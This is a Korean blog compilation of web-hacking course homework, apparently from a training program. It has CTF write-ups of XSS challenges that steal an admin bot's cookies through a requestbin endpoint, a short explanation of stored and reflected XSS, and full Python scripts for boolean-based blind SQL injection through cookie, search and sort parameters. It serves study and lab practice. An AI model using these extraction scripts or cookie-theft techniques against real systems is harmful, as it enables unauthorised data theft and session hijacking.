그 후, 여러 기능들을 보다가 공지사항의 글쓰기 기능을 발견하였다.

 

 

글 쓰기 기능을 버프 스위트로 중간에 가로채서 < ' " >  같은 특수문자들이 어떻게 입력되는 지 확인하였다.

 

별 다른 필터링을 하지 않는 것을 확인하였다.

 

관리자 봇이 URL을 클릭해서 쿠키 탈취를 목표로 스크립트를 작성한다.

 

도메인은 https://public.requestbin.com/r 을 사용하였다.

이렇게 만들어진 게시판의 URL을 관리자 봇에게 입력하니 requestbin 사이트에서 쿠키를 확인하고 플래그를 얻을 수 있었다.

 

2.2. XSS 2

1 번 문제처럼 로그인 후에 시작한다.

먼저, 게시판에서의 XSS는 먹히지 않았다.

 

고민하던 중에 검색 후의 결과가 alert()창으로 보여진다는 것을 알았다.

POST 형식이던 검색 기능을 Change Request Method를 통해 GET으로 변경하고 스크립트를 넣었다.

 

 

띄어쓰기가 나 + 가 되지 않아 인코딩을 수행했고, 해당 URL을 관리자 봇에 입력시키니 똑같이 플래그를 얻을 수 있었다.

 

2.3. XSS 3

 

3번 문제 역시 로그인 후 여러 기능을 확인 중에 마이페이지 기능에서 이상한 것을 확인했다.

 

이런 요청에 대한 응답으로

 

 

위와 같이 태그가 깨지는 것을 확인했고 이걸 이용할 수 있겠다라는 생각이 들었다.

 

 

위와 같이 강제로 태그를 닫고 script 태그를 넣으니 관리자 봇을 통해 플래그를 얻을 수 있었다.

 

 

2.4. XSS 4

 

4번은 작성한 글을 업데이트 하는 기능에서 XSS를 이용했다.

처음에 <scriopt> 와 alert를 사용하니 필터링을 수행하고 있었다.

혹시 몰라서 <SCRIPT>로 대문자로 하니 태그가 들어가는 것을 확인했다.

 

위와 같은 코드를 이용해 관리자 봇을 통해 플래그를 얻을 수 있었다.

 

 

2.5. XSS 5

 

5번 문제는 1번 문제와 유사했다.

title이 아닌 content에서 XSS 공격이 성공했다.

 

 

관리자 봇을 통해 쉽게 플래그를 얻을 수 있었다.

 

 

2.6. XSS 6

 

이건 업데이트 하는 기능에서 잘하면 될 것 같았는데 되지 않았다.

이렇게 제목에 주면 (URL은 단축 URL을 사용했다.)

해당 게시글을 수정하는 화면에서 위처럼 태그로 들어가서 해당 url을 호출하는 방식을 생각했으나, 잘 되지 않았다....

(여러번 시도해보니 서드파티 쿠키가 비허용이라서 안된 듯 싶다. 해당 설정을 허용하면 되겠지만, 다른 사용자들을 생각하면 허용하지 않고 하는 것이 좋을 것 같아 다른 방식을 찾아야 겠다.)

 

결국 찾아낸 것이 로그인할 때의 계정명을 이용하는 것이였다.

로그인 실패 시 id를 alert 하는 부분을 이용할 수 있었고, 여기서는 new Image()를 쓰면 src부분에 요청을 하기 전에 login.html로 리다이렉션이 되는 것 같아 location.href를 통해 이동하는 방식을 사용했다.

 

그렇게 플래그를 얻을 수 있었다.

 

 

 

2.7. XSS Challenge

 

기능들을 확인 중에 검색 기능에서 취약점은 찾을 수 있었다.

내가 입력한 값이 그대로 나오는 것을 보고 검색 기능을 확인했고

 

DOM Based XSS 공격을 해야 한다는 것을 깨달았다.

 

 

GET 방식의 파라미터에 공격 코드를 넣었고 플래그를 얻을 수 있었다.

 

 

 

 

반응형

댓글()

23. [9주차]-1 XSS 이해

* 과제

1. XSS 정리

 


 

1. XSS 정리

XSS는 Cross Site Scripting의 줄임말로써, 크사 라고도 불리는 취약점이다.

이는 내가 원하는 스크립트를 삽입해서 클라이언트 측에서 실행되게 만드는 공격기법이다.

 

이번 주차에 설명된 XSS는 2가지이다.

 

1. Stored XSS

2. Reflected XSS

 

DOM Based XSS도 있지만, 그건 다음 주차에 나오려는 것 같다.

 

1.1 Stored XSS

Stored XSS는 서버에 데이터를 저장하는 경우에 사용되는 XSS 공격기법이다.

게시판처럼 이용자들이 작성한 데이터가 서버에 저장되는 경우에 XSS 취약점이 발생하면 Stored XSS로 분류된다.

 

게시판같은 곳에 XSS 취약점을 이용한 공격 스크립트를 넣고 해당 게시글 URL을 희생자에게 보낸다.

희생자는 URL을 클릭하고 공격 스크립트가 실행되게 된다.

 

내가 입력한 데이터가 화면에 나오는지 확인하고 < ' " > 이 4가지 특수문자를 입력해 사용가능한지 확인해야 한다.

내가 입력한 데이터가 같은 페이지가 아닌 다른 페이지에서 나오는 경우도 있으니, 주의해야 한다.

 

1.2 Reflected XSS

Reflected XSS는 데이터를 저장하는 경우가 아닌 이용자의 입력 데이터를 응답에 바로 사용하는 경우이다.

예를 들어, 검색기능이 있다.

검색 시 이용자가 입력한 검색 데이터는 서버에 저장되지 않고 바로 검색 결과를 사용자에게 보여준다.

 

즉, 입력 데이터에 대한 응답 데이터가 한 페이지에서 이루어진다.

역시 < ' " > 4가지 특수문자를 입력할 수 있는지 확인해야 한다.

 

Reflected XSS는 Stored XSS와 달리 데이터를 저장시키지않기 때문에 희생자에게 URL 링크를 클릭하게 만드는게 중요하다.

여기서 POST 방식의 경우 Reflected XSS가 성립되지 않는다.

희생자가 URL을 클릭하는 건 GET 방식인지라 POST 방식의 요청을 하게 만들 수 없다.

 

XSS 취약점이 발생한 페이지가 POST 방식의 페이지라면 GET 방식의 요청으로도 같은 결과를 만들 수 있는지 시도해보는 것이 좋다.

 

 

 

반응형

댓글()

22. [8주차]-1 SQL injection 포인트 찾기

* 과제
1. 오늘 수업 정리
2. 심화 문제 풀이


1. 오늘 수업 정리

SQL injection을 하기 위해서 포인트를 찾아야 한다.

사용자로부터 입력값을 받아 SQL 구문을 생성하는 곳을 찾아야 한다.

ex) 로그인, 회원가입, 마이페이지, 검색기능....

 

그 후, 파라미터를 테스트 해본다.

그러면서 SQL 구문이 어떤식으로 이루어져 있을 지 추측한다.

 

and '1'='1 이나 and '1'='2 를 통해 참/거짓 시 구분이 가능한지 확인할 수도 있다.

 

사용자로부터 쿠키를 받아 SQL구문을 생성하거나

파라미터를 컬럼 값으로 삼아 SQL 구문을 생성하는 경우도 있다.

sort 나 DB 에러표시를 통해 SQL injection을 할 수도 있다.

 

 

 

2. 심화 문제 풀이

 

SQL Injection 심화 문제로 SQL injection 포인트부터 찾아야 하는 문제이다.

 

2.1 SQL Injection Point 1

첫 페이지이다.

 

 

먼저 회원가입부터 해주었다.

그 후, 로그인 한 후 둘러 보는 중에

 

로그인 후 쿠키로 사용자를 설정하고, 마이페이지 접근 시 해당 쿠키를 사용하는 것을 알아냈다.

확인 결과 마이페이지에서 참/거짓을 판별 할 수 있었고, 이걸 이용하기로 했다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time


def post_request_with_retry(url, headers, max_retries, cookie, attempt=1):
    try:
        # response = requests.post(url, data=data, timeout=timeout_seconds)
        response = requests.get(url, headers=headers, cookies=cookie)
        response.raise_for_status()  # HTTP 에러가 발생하면 예외를 일으킴
        # print('응답 받음:', response.json())
        return response
    except TimeoutError:
        print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
    except requests.exceptions.RequestException as e:
        print(f'요청 실패: {e}')

    if attempt < max_retries:
        return post_request_with_retry(url, headers, max_retries, cookie, attempt+1)
    else:
        print('최대 재시도 횟수 도달. 요청을 중단합니다.')
        return None


url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

cookie={
    "session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
    "PHPSESSID": "i1ph8dg4g8ond9tdv34m7lho4p"
}


timeout_seconds = None
max_retries = 5

db_name = ""
table_name = ""
column_name = ""

table_length_max = 50
column_length_max = 50


# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
    cookie["user"] = "aaa' and (select length(database()) = " + \
        str(db_length_idx) + ") and '1'='1"
    res = post_request_with_retry(url, headers, max_retries, cookie)
    # print(payload)
    time.sleep(0.001)

    # print(res.text)
    # print(res.history)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("input")[1]
    placeholder = info.get('placeholder')

    # print(placeholder)
    # print(f"{db_length_idx}: {placeholder}")
    # print(res.text)
    if not placeholder:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = db_length_idx

print(f"db length: {db_length}")
# exit(0)

for db_length_idx2 in range(0, db_length+1):
    for j in range(32, 127):
        cookie["user"] = "aaa' and (ascii(substr((select database()),"+str(
            db_length_idx2)+",1)) = "+str(j)+") and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("input")[1]
        placeholder = info.get('placeholder')

        # print(placeholder)
        # print(f"{db_length_idx}: {placeholder}")
        # print(res.text)
        if not placeholder:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for table_cnt_idx in range(0, 20):
    cookie["user"] = "aaa' and (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(table_cnt_idx)+") and '1'='1"
    res = post_request_with_retry(url, headers, max_retries, cookie)
    # print(payload["id"])
    # print(res.text)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("input")[1]
    placeholder = info.get('placeholder')

    # print(placeholder)
    # print(f"{db_length_idx}: {placeholder}")
    # print(res.text)
    if not placeholder:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = table_cnt_idx

print(f"table all count: {table_cnt}")


for table_cnt_idx2 in range(0, table_cnt+1):
    print(f" - table cnt[{table_cnt_idx2}]")
    table_length = 0
    for table_length_idx in range(0, table_length_max):
        cookie["user"] = "aaa' and ((select length(table_name) from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_idx2) + \
            ",1) = "+str(table_length_idx)+") and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("input")[1]
        placeholder = info.get('placeholder')

        # print(placeholder)
        # print(f"{db_length_idx}: {placeholder}")
        # print(res.text)
        if not placeholder:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_length = table_length_idx

    print(f"  - table length: {table_length}")

    table_name = ""
    for table_length_idx2 in range(0, table_length+1):
        for j in range(32, 127):
            cookie["user"] = "aaa' and (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
                db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
                    table_length_idx2)+",1)) = "+str(j)+") and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("input")[1]
            placeholder = info.get('placeholder')

            # print(placeholder)
            # print(f"{db_length_idx}: {placeholder}")
            # print(res.text)
            if not placeholder:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                table_name += chr(j)

    print(f"   - table name: {table_name}")

    column_cnt = ""
    for column_cnt_idx in range(0, 20):
        cookie["user"] = "aaa' and (select (select count(column_name) from information_schema.columns where table_name='" + \
            table_name+"' and table_schema='" + \
            db_name+"') = "+str(column_cnt_idx)+") and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        # print(res.text)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("input")[1]
        placeholder = info.get('placeholder')

        # print(placeholder)
        # print(f"{db_length_idx}: {placeholder}")
        # print(res.text)
        if not placeholder:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_cnt = column_cnt_idx

    print(f"   - column all count: {column_cnt}")

    for column_cnt_idx2 in range(0, column_cnt+1):
        print(f"     - column cnt[{column_cnt_idx2}]")
        column_length = 0
        for column_length_idx in range(0, column_length_max):
            cookie["user"] = "aaa' and ((select length(column_name) from information_schema.columns where table_name='" + \
                table_name+"' and table_schema='"+db_name+"' limit " + \
                str(column_cnt_idx2)+",1) = " + \
                str(column_length_idx)+") and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("input")[1]
            placeholder = info.get('placeholder')

            # print(placeholder)
            # print(f"{db_length_idx}: {placeholder}")
            # print(res.text)
            if not placeholder:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                column_length = column_length_idx

        print(f"      - column length: {column_length}")

        column_name = ""
        for column_length_idx2 in range(0, column_length+1):
            for j in range(32, 127):
                cookie["user"] = "aaa' and (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
                    db_name+"' and table_name='"+table_name+"' limit " + \
                    str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
                    ",1)) = "+str(j)+") and '1'='1"
                res = post_request_with_retry(url, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("input")[1]
                placeholder = info.get('placeholder')

                # print(placeholder)
                # print(f"{db_length_idx}: {placeholder}")
                # print(res.text)
                if not placeholder:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    column_name += chr(j)

        print(f"       - column name: {column_name}")

        data_cnt = 0
        for data_cnt_idx in range(0, 20):
            cookie["user"] = "aaa' and (select (select count("+column_name + \
                ") from "+db_name+"."+table_name+") = " + \
                str(data_cnt_idx)+") and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("input")[1]
            placeholder = info.get('placeholder')

            # print(placeholder)
            # print(f"{db_length_idx}: {placeholder}")
            # print(res.text)
            if not placeholder:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                data_cnt = data_cnt_idx

        print(f"        - data all count: {data_cnt}")

        for data_cnt_idx2 in range(0, data_cnt):
            print(f"         - data cnt[{data_cnt_idx2}]")
            data_length = 0
            for data_length_idx in range(0, 50):
                cookie["user"] = "aaa' and ((select length("+column_name + \
                    ") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
                    str(data_length_idx)+") and '1'='1"
                res = post_request_with_retry(url, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("input")[1]
                placeholder = info.get('placeholder')

                # print(placeholder)
                # print(f"{db_length_idx}: {placeholder}")
                # print(res.text)
                if not placeholder:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    data_length = data_length_idx

            print(f"         - data length: {data_length}")

            data_name = ""
            for data_length_idx2 in range(0, data_length+1):
                for j in range(32, 127):
                    cookie["user"] = "aaa' and (select ascii(substr((select "+column_name + \
                        " from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
                        str(data_length_idx2)+", 1)) = "+str(j)+") and '1'='1"
                    res = post_request_with_retry(url, headers, max_retries, cookie)
                    # print(payload["id"])
                    time.sleep(0.001)

                    # children이 있으면 존재하지 않는 아이디(거짓)
                    parsed_html = BeautifulSoup(res.text, "html.parser")
                    info = parsed_html.find_all("input")[1]
                    placeholder = info.get('placeholder')

                    # print(placeholder)
                    # print(f"{db_length_idx}: {placeholder}")
                    # print(res.text)
                    if not placeholder:
                        # print(children.text)
                        pass
                    # 없으면 존재하는 아이디(참)
                    else:
                        # print(info.text)
                        data_name += chr(j)

            print(f"          - data name: {data_name}")

참/거짓에 따라 html 구조가 다르다는 점을 이용하였다.

위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.

 

 

2.2 SQL Injection Point 2

2번째 문제는 1과는 달리 세션을 이용하기 때문에 쿠키를 사용할 수 없다.

그래서 좀 더 둘러본 결과

 

게시판 기능의 검색 기능을 이용할 수 있었다.

 

 

POST 데이터 중 option_val을 이용해서 참/거짓을 판별 할 수 있었고, 이걸 SQL injection 에 사용하였다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time


def post_request_with_retry(url, data, headers, cookie, max_retries, attempt=1):
    try:
        # response = requests.post(url, data=data, timeout=timeout_seconds)
        response = requests.post(url, data=data, headers=headers, cookies=cookie)
        response.raise_for_status()  # HTTP 에러가 발생하면 예외를 일으킴
        # print('응답 받음:', response.json())
        return response
    except TimeoutError:
        print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
    except requests.exceptions.RequestException as e:
        print(f'요청 실패: {e}')

    if attempt < max_retries:
        return post_request_with_retry(url, payload, headers, cookie, max_retries, attempt+1)
    else:
        print('최대 재시도 횟수 도달. 요청을 중단합니다.')
        return None



url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

cookie={
    "session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
    "PHPSESSID": "i1ph8dg4g8ond9tdv34m7lho4p"
}

payload = {
    'option_val': 'title',
    'board_result': 'ab',
    'board_search': '%F0%9F%94%8D',
    'date_from':'',
    'date_to':'',
}


timeout_seconds = None
max_retries = 5

db_name = ""
table_name = ""
column_name = ""

table_length_max = 50
column_length_max = 50


# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
    payload['option_val'] = "'1'='1' and (select length(database()) = " + \
        str(db_length_idx) + ") and title"
    res = post_request_with_retry(url, payload, headers, cookie, max_retries)
    # print(payload)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("tbody")[0]
    # print(info)
  
    children = info.find("tr", recursive=False)

    # print(res.text)
    if not children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = db_length_idx

print(f"db length: {db_length}")


for db_length_idx2 in range(0, db_length+1):
    for j in range(32, 127):
        payload['option_val'] = "'1'='1' and (ascii(substr((select database()),"+str(
            db_length_idx2)+",1)) = "+str(j)+") and title"
        res = post_request_with_retry(url, payload, headers, cookie, max_retries)
        # print(payload["UserId"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for table_cnt_idx in range(0, 20):
    payload['option_val'] = "'1'='1' and (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(table_cnt_idx)+") and title"
    res = post_request_with_retry(url, payload, headers, cookie, max_retries)
    # print(payload["UserId"])
    # print(res.text)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("tbody")[0]
    # print(info)
  
    children = info.find("tr", recursive=False)

    # print(res.text)
    if not children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = table_cnt_idx

print(f"table all count: {table_cnt}")


for table_cnt_idx2 in range(0, table_cnt+1):
    print(f" - table cnt[{table_cnt_idx2}]")
    table_length = 0
    for table_length_idx in range(0, table_length_max):
        payload['option_val'] = "'1'='1' and ((select length(table_name) from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_idx2) + \
            ",1) = "+str(table_length_idx)+") and title"
        res = post_request_with_retry(url, payload, headers, cookie, max_retries)
        # print(payload["UserId"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_length = table_length_idx

    print(f"  - table length: {table_length}")

    table_name = ""
    for table_length_idx2 in range(0, table_length+1):
        for j in range(32, 127):
            payload['option_val'] = "'1'='1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
                db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
                    table_length_idx2)+",1)) = "+str(j)+") and title"
            res = post_request_with_retry(url, payload, headers, cookie, max_retries)
            # print(payload["UserId"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                table_name += chr(j)

    print(f"   - table name: {table_name}")

    column_cnt = ""
    for column_cnt_idx in range(0, 20):
        payload['option_val'] = "'1'='1' and (select (select count(column_name) from information_schema.columns where table_name='" + \
            table_name+"' and table_schema='" + \
            db_name+"') = "+str(column_cnt_idx)+") and title"
        res = post_request_with_retry(url, payload, headers, cookie, max_retries)
        # print(payload["UserId"])
        # print(res.text)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_cnt = column_cnt_idx

    print(f"   - column all count: {column_cnt}")

    for column_cnt_idx2 in range(0, column_cnt+1):
        print(f"     - column cnt[{column_cnt_idx2}]")
        column_length = 0
        for column_length_idx in range(0, column_length_max):
            payload['option_val'] = "'1'='1' and ((select length(column_name) from information_schema.columns where table_name='" + \
                table_name+"' and table_schema='"+db_name+"' limit " + \
                str(column_cnt_idx2)+",1) = " + \
                str(column_length_idx)+") and title"
            res = post_request_with_retry(url, payload, headers, cookie, max_retries)
            # print(payload["UserId"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                column_length = column_length_idx

        print(f"      - column length: {column_length}")

        column_name = ""
        for column_length_idx2 in range(0, column_length+1):
            for j in range(32, 127):
                payload['option_val'] = "'1'='1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
                    db_name+"' and table_name='"+table_name+"' limit " + \
                    str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
                    ",1)) = "+str(j)+") and title"
                res = post_request_with_retry(
                    url, payload, headers, cookie, max_retries)
                # print(payload["UserId"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("tbody")[0]
                # print(info)
            
                children = info.find("tr", recursive=False)

                # print(res.text)
                if not children:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    column_name += chr(j)

        print(f"       - column name: {column_name}")

        data_cnt = 0
        for data_cnt_idx in range(0, 20):
            payload["option_val"] = "'1'='1' and (select (select count("+column_name + \
                ") from "+db_name+"."+table_name+") = " + \
                str(data_cnt_idx)+") and title"
            res = post_request_with_retry(url, payload, headers, cookie, max_retries)
            # print(payload["UserId"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                data_cnt = data_cnt_idx

        print(f"        - data all count: {data_cnt}")

        for data_cnt_idx2 in range(0, data_cnt):
            print(f"         - data cnt[{data_cnt_idx2}]")
            data_length = 0
            for data_length_idx in range(0, 50):
                payload['option_val'] = "'1'='1' and ((select length("+column_name + \
                    ") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
                    str(data_length_idx)+") and title"
                res = post_request_with_retry(
                    url, payload, headers, cookie, max_retries)
                # print(payload["UserId"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("tbody")[0]
                # print(info)
            
                children = info.find("tr", recursive=False)

                # print(res.text)
                if not children:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    data_length = data_length_idx

            print(f"         - data length: {data_length}")

            data_name = ""
            for data_length_idx2 in range(0, data_length+1):
                for j in range(32, 127):
                    payload["option_val"] = "'1'='1' and (select ascii(substr((select "+column_name + \
                        " from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
                        str(data_length_idx2)+", 1)) = "+str(j)+") and title"
                    res = post_request_with_retry(
                        url, payload, headers, cookie, max_retries)
                    # print(payload["UserId"])
                    time.sleep(0.001)

                    # children이 있으면 존재하지 않는 아이디(거짓)
                    parsed_html = BeautifulSoup(res.text, "html.parser")
                    info = parsed_html.find_all("tbody")[0]
                    # print(info)
                
                    children = info.find("tr", recursive=False)

                    # print(res.text)
                    if not children:
                        # print(children.text)
                        pass
                    # 없으면 존재하는 아이디(참)
                    else:
                        # print(info.text)
                        data_name += chr(j)

            print(f"          - data name: {data_name}")

참/거짓에 따라 html 구조가 다르다는 점을 이용하였다.

위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.

 

 

2.3 SQL Injection Point 3

3번 문제는 2번 처럼 게시판 검색을 사용하지만, sort 기능을 사용한다.

 

sort에 case when (1=1) then 1 else (select 1 union select 2) end 을 사용해서 참/거짓 여부를 확인할 수 있었다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time


def post_request_with_retry(url, payload, headers, max_retries, cookie, attempt=1):
    try:
        # response = requests.post(url, data=data, timeout=timeout_seconds)
        response = requests.post(url, data=payload, headers=headers, cookies=cookie)
        response.raise_for_status()  # HTTP 에러가 발생하면 예외를 일으킴
        # print('응답 받음:', response.json())
        return response
    except TimeoutError:
        print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
    except requests.exceptions.RequestException as e:
        print(f'요청 실패: {e}')

    if attempt < max_retries:
        return post_request_with_retry(url, payload, headers, max_retries, cookie, attempt+1)
    else:
        print('최대 재시도 횟수 도달. 요청을 중단합니다.')
        return None


url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

cookie={
    "session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
    "PHPSESSID": "18lsani6dac3im6re05eirmunm"
}

payload = {
    'option_val': 'title',
    'board_result': 'ab',
    'board_search': '%F0%9F%94%8D',
    'date_from':'',
    'date_to':'',
    'sort': 'title'
}

timeout_seconds = None
max_retries = 5

db_name = ""
table_name = ""
column_name = ""

table_length_max = 50
column_length_max = 50


# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
    payload['sort'] = "case when (select length(database()) = " + \
        str(db_length_idx) + ") then 1 else (select 1 union select 2) end"
    
    res = post_request_with_retry(url, payload, headers, max_retries, cookie)
    # print(payload)
    time.sleep(0.001)

    # print(res.text)
    # print(res.history)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("tbody")[0]
    # print(info)
  
    children = info.find("tr", recursive=False)

    # print(res.text)
    if not children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = db_length_idx

print(f"db length: {db_length}")

for db_length_idx2 in range(0, db_length+1):
    for j in range(32, 127):
        payload['sort'] = "case when (ascii(substr((select database()),"+str(
            db_length_idx2)+",1)) = "+str(j)+") then 1 else (select 1 union select 2) end"

        res = post_request_with_retry(url, payload, headers, max_retries, cookie)
        # print(payload["sort"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for table_cnt_idx in range(0, 20):

    payload['sort'] = "case when (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(table_cnt_idx)+") then 1 else (select 1 union select 2) end"

    res = post_request_with_retry(url, payload, headers, max_retries, cookie)
    # print(payload["id"])
